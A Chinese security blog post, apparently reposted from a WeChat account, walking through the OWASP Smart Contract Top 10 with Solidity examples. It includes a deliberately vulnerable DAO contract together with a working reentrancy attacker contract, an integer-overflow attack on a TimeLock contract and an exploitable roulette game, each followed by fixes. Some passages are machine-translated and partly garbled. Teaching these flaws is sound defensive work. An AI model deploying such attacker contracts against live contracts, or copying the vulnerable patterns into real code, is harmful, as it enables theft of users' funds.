【智能合约攻击1】使用OWASP Smart Contract Top 10进行智能合约攻击

admin 2024年2月27日13:31:04评论12 views字数 9753阅读32分30秒阅读模式

【智能合约攻击1】使用OWASP Smart Contract Top 10进行智能合约攻击

关于智能合约 Top 10

OWASP 智能合约 Top 10 是一份标准意识文档,旨在为 Web3 开发人员和安全团队提供对智能合约中发现的前 10 个漏洞的深入了解。

它将作为参考,确保智能合约免受过去几年利用/发现的十大弱点的影响。

前10名

  • SC01:2023 -重入攻击

  • SC02:2023 -整数上溢和下溢

  • SC03:2023 -时间戳依赖性

  • SC04:2023 -访问控制漏洞

  • SC05:2023 -抢先攻击

  • SC06:2023 -拒绝服务 (DoS) 攻击

  • SC07:2023 -逻辑错误

  • SC08:2023 -不安全的随机性

  • SC09:2023 - Gas 限制漏洞

  • SC10:2023 -未经检查的外部调用

概述

标题 描述
SC01 - 重入攻击 这是指攻击者能够利用合约状态未按预期更新的事实,重复调用智能合约中的函数。这可能会导致资金或其他资源从合同中流失。
SC02 - 整数上溢和下溢 当数值运算产生的值超出变量数据类型范围时,就会出现这些漏洞。在智能合约中,这可以被用来操纵余额或其他关键值。
SC03 - 时间戳依赖性 如果智能合约的行为依赖于它所包含的区块的时间戳,则它可能容易受到操纵。这是因为矿工对区块时间戳有一定程度的控制。
SC04 - 访问控制漏洞 如果智能合约没有正确实现访问控制,则可能会使关键功能暴露。这可能允许未经授权的用户执行应受到限制的操作,例如更改合约的状态或提取资金。
SC05 - 抢先攻击 抢先交易是区块链系统特有的漏洞。攻击者可以观察待处理的交易,然后以更高的汽油费发出自己的交易,从而激励矿工首先将其包含在区块链中。
SC06 - 拒绝服务 (DoS) 攻击 DoS 攻击的目的是使合约无响应或不可用。在智能合约中,这可以通过消耗所有可用的天然气或导致交易不断失败来实现。
SC07 - 逻辑错误 如果智能合约编码不当,它可能包含导致意外行为的逻辑错误。这可能包括错误的计算、错误的条件语句,甚至暴露的管理功能。
SC08 - 不安全的随机性 区块链网络本质上是确定性的,因此很难在智能合约中产生真正的随机性。如果攻击者可以预测或影响所谓的随机数,他们就可以操纵合约以达到自己的优势。
SC09 - Gas 限制漏洞 每个以太坊区块都有一个 Gas 限制,限制了它可以包含的操作数量。如果合约中的某个函数需要的 Gas 量超过此限制,则该函数可能无法执行,并可能冻结合约或其资金。
SC10 - 未检查的外部呼叫 当合约调用外部函数时,它可能无法正确检查调用结果。如果外部调用失败,但原始合约没有检查这一点,它可能会假设调用成功并继续执行,从而导致意想不到的后果。

一、重入攻击

机制

可重入过程的一个示例是发送电子邮件。用户可以使用他们喜欢的客户端开始输入电子邮件、保存草稿、发送另一封电子邮件,然后稍后完成消息。这是一个无害的例子。然而,想象一下一个结构不良的用于发出电汇的在线银行系统,其中仅在初始化步骤检查帐户余额。用户可以发起多次转账,而无需实际提交任何转账。银行系统将确认用户的帐户是否有足够的余额用于每次转账。如果在实际提交时没有进行额外的检查,则用户可以提交所有交易,并可能超出其帐户的余额。这是著名的 DAO 黑客攻击中使用的重入漏洞利用的主要机制。

黑客时间!!

让我们从 The DAO 的代码开始,其中特定的操作顺序会造成重入攻击的漏洞。

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

contract Dao {
mapping(address => uint256) public balances;

functiondeposit() public payable {
require(msg.value >= 1 ether, "Deposits must be no less than 1 Ether");
       balances[msg.sender] += msg.value;
   }

functionwithdraw() public {
// Check user's balance
require(
           balances[msg.sender] >= 1 ether,
"Insufficient funds.  Cannot withdraw"
       );
       uint256 bal = balances[msg.sender];

// Withdraw user's balance
       (bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to withdraw sender's balance");

// Update user's balance.
       balances[msg.sender] = 0;
   }

functiondaoBalance() public view returns (uint256) {
returnaddress(this).balance;
   }
}so














现在让我们检查一下执行该漏洞的黑客的智能合约。

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

interfaceIDao {
functionwithdraw() external ;
functiondeposit()external  payable;
}

contract Hacker{
IDao dao;

constructor(address _dao){
       dao = IDao(_dao);
   }

functionattack() public payable {
// Seed the Dao with at least 1 Ether.
require(msg.value >= 1 ether, "Need at least 1 ether to commence attack.");
       dao.deposit{value: msg.value}();

// Withdraw from Dao.
       dao.withdraw();
   }

fallback() external payable{
if(address(dao).balance >= 1 ether){
           dao.withdraw();
       }
   }

functiongetBalance()public view returns (uint){
returnaddress(this).balance;
   }
}

最简单的修复实际上是更改 DAO 的withdraw() 函数中的操作顺序,以便在DAO 合约使用低级调用函数向他们发送以太币之前,调用者的余额重置为 0。

Contract Dao {


function withdraw() public {
// Check user's balance
require(
           balances[msg.sender] >= 1 ether,
"Insufficient funds.  Cannot withdraw"
       );
       uint256 bal = balances[msg.sender];

// Update user's balance.
       balances[msg.sender] = 0;

// Withdraw user's balance
       (bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to withdraw sender's balance");

   }
}

这样,当低级的call()函数触发黑客合约的fallback()函数,并且该函数尝试重新进入withdraw()函数时,黑客的余额在重新进入时为零,并且要求() 方法将评估为 false,从而立即恢复交易。然后,这将导致对 call() 的原始调用移动到 return,并且由于失败,sent 的值将为 false,这将导致下一行 (require(sent, “Failed to有吸引力的发送者的余额”);)恢复。

黑客只会提取他们的存款,仅此而已。

另一种选择是 DAO 合约使用函数修饰符来“锁定”正在执行的withdraw()函数,以便任何重新进入都会被锁阻止。我们通过将这些行添加到 DAO 合约中来实现这一目标。

Contract Dao {
boolinternal locked;

modifier noReentrancy() {
       require(!locked, "No reentrancy");
       locked = true;
       _;
       locked = false;
   }

//……
function withdraw() public noReentrancy {

// withdraw logic goes here…

   }
}

此重入防护使用所谓的互斥(互斥)标志模式来保护withdraw()函数在前一个调用尚未完成时被调用。因此,当黑客合约的fallback()函数尝试通过withdraw()函数重新进入DAO时,函数修饰符将被触发,其require()函数将导致恢复并显示消息“不可重入”。

【智能合约攻击1】使用OWASP Smart Contract Top 10进行智能合约攻击

结论

当然,这是一个高度简化的演练,它使用示例代码而不是生产示例来解释可重入漏洞利用的概念。虽然我使用 The DAO hack 作为背景来解释可重入 hack,但 The DAO 的实际代码却非常不同。然而,DAO 黑客攻击是基于“可重入”原理,因为黑客会递归地提取资金,而不会更新其余额。

二、整数溢出

整数溢出是当整数数据类型无法保存变量的实际值时发生的一种现象。C 中的整数溢出和整数下溢不会引发任何错误,但程序会继续执行(使用不正确的值),就好像什么也没发生一样,这对于 Solidity 来说也是同样的情况,因为它受 C/C++ 的影响很大。它使溢出错误变得非常微妙和危险。我们将在本文中看到几种检测这些错误的方法。

以太坊虚拟机为整数指定了固定大小的数据类型。这意味着整型变量只能表示一定范围的数字。uint8例如,A只能存储 [0,255] 范围内的数字。尝试存储256到 auint8将导致0如果不小心,如果未检查用户输入并且执行的计算导致数字超出存储它们的数据类型的范围,则 Solidity 中的变量可能会被利用。

【智能合约攻击1】使用OWASP Smart Contract Top 10进行智能合约攻击

【智能合约攻击1】使用OWASP Smart Contract Top 10进行智能合约攻击

漏洞

当执行的操作需要固定大小的变量来存储超出变量数据类型范围的数字(或数据段)时,就会发生上溢/下溢。

例如,1uint8值为 的(8 位无符号整数;即非负)变量中减去0将得到数字255这是下溢我们分配了一个低于 的范围的数字uint8,因此结果会回绕并给出 a 可以存储的最大数字uint8类似地,添加2^8=256到 auint8将使变量保持不变,因为我们已经包裹了 的整个长度uint这种行为的两个简单类比是汽车中的里程表,它测量行驶距离(在超过最大数字(即 999999)后重置为 000000)和周期性数学函数(在 sin 参数上添加 2π 使值保持不变) 。

添加大于数据类型范围的数字称为溢出为了清楚起见,添加当前值为 的257a将得到数字有时将固定大小的变量视为循环变量是有启发性的,如果我们在最大可能存储的数字之上添加数字,我们会从零重新开始,如果我们从零减去,则从最大数字开始倒数。对于可以表示负数的有符号类型,一旦达到最大负值,我们就重新开始;例如,如果我们尝试值为 的a 中减去,我们将得到uint801int1int8-128127

这些类型的数字陷阱允许攻击者滥用代码并创建意外的逻辑流。例如,考虑TimeLock.sol中的 TimeLock 合约。

contract TimeLock {

   mapping(address => uint) public balances;
   mapping(address => uint) public lockTime;

function deposit() external payable {
       balances[msg.sender] += msg.value;
       lockTime[msg.sender] = now + 1 weeks;
   }

function increaseLockTime(uint _secondsToIncrease) public {
       lockTime[msg.sender] += _secondsToIncrease;
   }

function withdraw() public {
       require(balances[msg.sender] > 0);
       require(now > lockTime[msg.sender]);
uint transferValue = balances[msg.sender];
       balances[msg.sender] = 0;
       msg.sender.transfer(transferValue);
   }
}

该合约的设计就像一个时间保险库:用户可以将以太币存入合约中,并且它将被锁定至少一周。如果用户选择,可以将等待时间延长至 1 周以上,但一旦存入,用户可以确保他们的以太币被安全锁定至少一周——或者本合同的意图。

如果用户被迫交出他们的私钥,这样的合同可能会很方便地确保他们的以太币在短时间内无法获得。但是,如果用户锁定了100 ether该合约并将其密钥交给了攻击者,则攻击者可以利用溢出来接收以太币,而不管lockTime.

攻击者可以确定lockTime他们现在持有密钥的地址的当前值(它是一个公共变量)。我们就这样称呼吧userLockTime然后他们可以调用该increaseLockTime函数并将数字作为参数传递2^256 - userLockTime该数字将被添加到当前值userLockTime并导致溢出,重置lockTime[msg.sender]0然后,攻击者可以简单地调用该withdraw函数来获取奖励。

三、时间戳依赖

介绍

区块链技术正在彻底改变我们进行交易和保护数据的方式。这项技术的一个关键方面是时间戳,它记录了一个块何时被添加到区块链中。然而,这个时间戳可能会被以可能损害区块链完整性和安全性的方式操纵。在本文中,我们将探讨什么是区块时间戳操纵、为什么它值得关注,以及区块链网络如何防范它。

什么是区块时间戳?

区块链就像一个记录一串区块的数字账本。每个块都包含一个时间戳,它本质上是它被添加到区块链的时间的记录。这个时间戳对于维护交易顺序、保证区块链的安全至关重要。

为什么时间戳很重要

时间戳在区块链中发挥着至关重要的作用,原因如下:

  1. 防止双重支出:时间戳有助于确保交易以正确的顺序发生,从而几乎不可能两次使用相同的加密货币。

2. 难度调整:一些区块链,比如比特币,会根据时间戳调整挖掘新区块的难度。如果时间戳被操纵,可能会影响整个网络。

3.共识机制:区块链的共识机制中使用了时间戳,这有助于确保每个人都同意交易的顺序。篡改时间戳可能会破坏这种共识。

什么是区块时间戳操作?

区块时间戳操纵是指改变或伪造区块链中区块的时间戳。这就像试图更改数字文件的日期和时间来欺骗某人其创建时间。在区块链中,这可以用于恶意目的。

区块时间戳历来被用于各种应用,例如随机数的熵(有关更多详细信息,请参阅熵幻觉)、在一段时间内锁定资金以及各种与时间相关的状态更改条件语句。矿工有能力稍微调整时间戳,如果在智能合约中错误地使用区块时间戳,这可能会很危险。

操纵的后果

以下是区块时间戳操纵的一些潜在后果:

  1. 双重支出:恶意行为者可以使用时间戳操纵两次花费相同的加密货币。

2.难度问题:如果时间戳被篡改,网络可能会错误地调整挖矿难度,从而影响区块链的安全性和稳定性。

3.共识破坏:更改时间戳可能会破坏网络的共识机制,导致混乱和不稳定。

防止时间戳操纵

区块链网络有防止时间戳操纵的保障措施。矿工或验证者使用自己的系统时钟来记录时间,遵循特定的规则。例如,它们必须遵守一定的时间范围,并且不能显着偏离前一个块的时间戳。

让我们动手吧

block.timestamp如果矿工有动机的话,now他们可以操纵它的别名。让我们构建一个简单的游戏,如roulette.sol所示,它很容易受到矿工的利用。

contract Roulette {
   uint public pastBlockTime; // forces one bet per block

constructor() external payable {} // initially fund contract

// fallback function used to make a bet
function () external payable {
require(msg.value == 10 ether); // must send 10 ether to play
require(now != pastBlockTime); // only 1 transaction per block
       pastBlockTime = now;
if(now % 15 == 0) { // winner
           msg.sender.transfer(this.balance);
       }
   }
}

该合约的行为就像一个简单的彩票。每个区块的一笔交易可以押注 10 以太币,就有机会赢得合约余额。这里的假设是“block.timestamp”的最后两位数字是均匀分布的。如果真是这样的话,那么中奖的几率就是十五分之一。

然而,正如我们所知,矿工可以根据需要调整时间戳。在这种特殊情况下,如果合约中有足够的以太池,那么解决区块的矿工就会被激励选择一个时间戳,使得block.timestampnow模 15 为0通过这样做,他们可能会赢得锁定在该合约中的以太币以及区块奖励。由于每个区块只允许一个人下注,因此也容易受到抢先交易攻击(请参阅竞争条件/抢先交易了解更多详细信息)。

在实践中,区块时间戳是单调递增的,因此矿工不能选择任意区块时间戳(它们必须晚于其前辈)。它们还仅限于设置不太远的未来区块时间,因为这些区块可能会被网络拒绝(节点不会验证时间戳为未来的区块)。

结论

区块时间戳操纵是对区块链网络安全性和完整性的潜在威胁。然而,这些网络旨在通过共识机制和规则来防止此类操纵,这使得时间戳篡改变得极其困难。随着区块链技术的不断发展,了解和减轻潜在风险以确保这些创新系统的安全仍然至关重要。

四、访问控制

在 Solidity 的背景下,访问控制是指用于控制谁可以与智能合约中的某些功能或数据进行交互的机制和模式。Solidity 是一种常用于在以太坊区块链上开发智能合约的编程语言。访问控制对于确保区块链应用的安全性和完整性至关重要。让我们通过 Solidity 中的一个简单示例来探讨这个概念。

如果智能合约没有正确实现访问控制,则可能会使关键功能暴露。这可能允许未经授权的用户执行应受到限制的操作,例如更改合约的状态或提取资金。

示例:Solidity 中的访问控制

假设您正在以太坊区块链上构建一个简单的去中心化投票系统。您希望确保只有符合资格的选民才能投票,并且您希望将计票限制为授权个人。

以下是在 Solidity 中实现访问控制的方法:

pragma solidity ^0.8.0;

contract VotingSystem {
   address public owner;
mapping(address => bool) public eligibleVoters;
   uint256 public totalVotes;
   bool public votingClosed;

constructor() {
       owner = msg.sender; // The contract deployer becomes the owner.
       votingClosed = false;
   }

   modifier onlyOwner() {
require(msg.sender == owner, "Only the owner can perform this action.");
       _; // Continue with the function if the condition is met.
   }

   modifier onlyEligibleVoter() {
require(eligibleVoters[msg.sender], "You are not an eligible voter.");
require(!votingClosed, "Voting is closed.");
       _; // Continue with the function if the conditions are met.
   }

functionaddVoter(address _voter) public onlyOwner {
       eligibleVoters[_voter] = true;
   }

functioncloseVoting() public onlyOwner {
       votingClosed = true;
   }

functionvote() public onlyEligibleVoter {
// Perform the voting logic here.
       totalVotes++;
   }
}

在这个简单的 Solidity 智能合约中:

在这个简单的 Solidity 智能合约中:

  1. 有一个owner人部署合约并有权添加合格选民并关闭投票。

  2. 我们使用onlyOwner修饰符来确保只有所有者才能调用addVoter和等函数closeVoting

  3. onlyEligibleVoter修改器确保只有符合资格的选民才能投票,并且只有在未关闭时才允许投票。

  4. addVoter所有者可以调用该函数来添加合格的选民。

  5. closeVoting所有者可以调用该函数来关闭投票。

  6. 符合资格的选民可以调用该vote函数来投票,但前提是投票仍然开放。

结论

总之,访问控制是 Solidity 编程的一个重要方面,有助于确保智能合约的安全性和完整性。

五、抢先攻击

介绍

区块链技术承诺透明度和安全性,但它也不能免受某些漏洞的影响。这些漏洞之一是抢先交易攻击。在本文中,我们将解释什么是抢先交易攻击、它是如何工作的以及如何防范它。

什么是抢先攻击?

抢先交易是一种不道德且可能非法的做法,预先了解交易的人会利用该信息来谋取利益。在区块链和加密货币的背景下,当恶意行为者看到待处理的交易并快速提交费用更高的类似交易以获得优势时,就会发生抢先交易攻击。

“当有人看到待处理的交易并设法通过提供更高的汽油价格来首先处理自己的交易时,就会发生抢先交易。这在像以太坊这样的公共区块链网络中是可能的,其中交易数据在被挖掘之前可以公开访问”

抢先攻击如何运作?

抢先交易通常针对区块链上的去中心化应用程序(DApp)。它的工作原理如下:

  1. 用户A发起交易:用户A想要购买某种加密货币或参与代币销售。他们向区块链网络提交交易。

  2. 恶意行为者观察交易:矿工和其他网络参与者可以在确认交易之前看到待处理的交易。恶意行为者监视待处理的交易。

  3. 恶意行为者提交类似交易:恶意行为者看到用户 A 的交易后,会迅速提交类似交易,但燃气费更高。这确保了他们的交易先于用户 A 的交易得到处理。

  4. 恶意行为者的利润:恶意行为者的交易在用户 A 之前得到确认,从而使他们能够以较低的价格购买加密货币,并可能以利润出售。

为什么抢先交易是一个问题

抢先交易可能会给诚实用户带来经济损失。在以下场景中这是一个问题:

  1. 代币销售:人们可能会失去以初始价格购买代币的机会。

  2. 套利机会:依赖交易所间价格差异的交易者可能会受到影响。

如何防范抢先交易

虽然完全消除抢先交易具有挑战性,但您可以采取措施来降低风险:

  1. 使用隐私币:一些隐私币(例如门罗币)提供匿名性,使恶意行为者更难识别抢先交易的交易。

  2. 使用去中心化交易所:DEX 不太容易受到抢先交易的影响,因为它们的运作方式与中心化交易所不同。

  3. 设置适当的 Gas 费:设置合理的 Gas 费,以避免支付过高和吸引领先者。

  4. 使用链分析工具:使用分析区块链活动的工具来检测潜在的领先者。

结论

抢先攻击是区块链中的一个问题,特别是在去中心化应用程序中。这些攻击利用交易的先进知识来获得财务优势。虽然很难完全消除抢先交易,但用户可以采取措施保护自己并降低风险。随着区块链技术的不断发展,解决抢先交易等漏洞对于确保去中心化应用和加密货币交易的安全性和公平性至关重要。

原文始发于微信公众号(KK安全说):【智能合约攻击1】使用OWASP Smart Contract Top 10进行智能合约攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月27日13:31:04
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【智能合约攻击1】使用OWASP Smart Contract Top 10进行智能合约攻击http://cn-sec.com/archives/2529439.html

发表评论

匿名网友 填写信息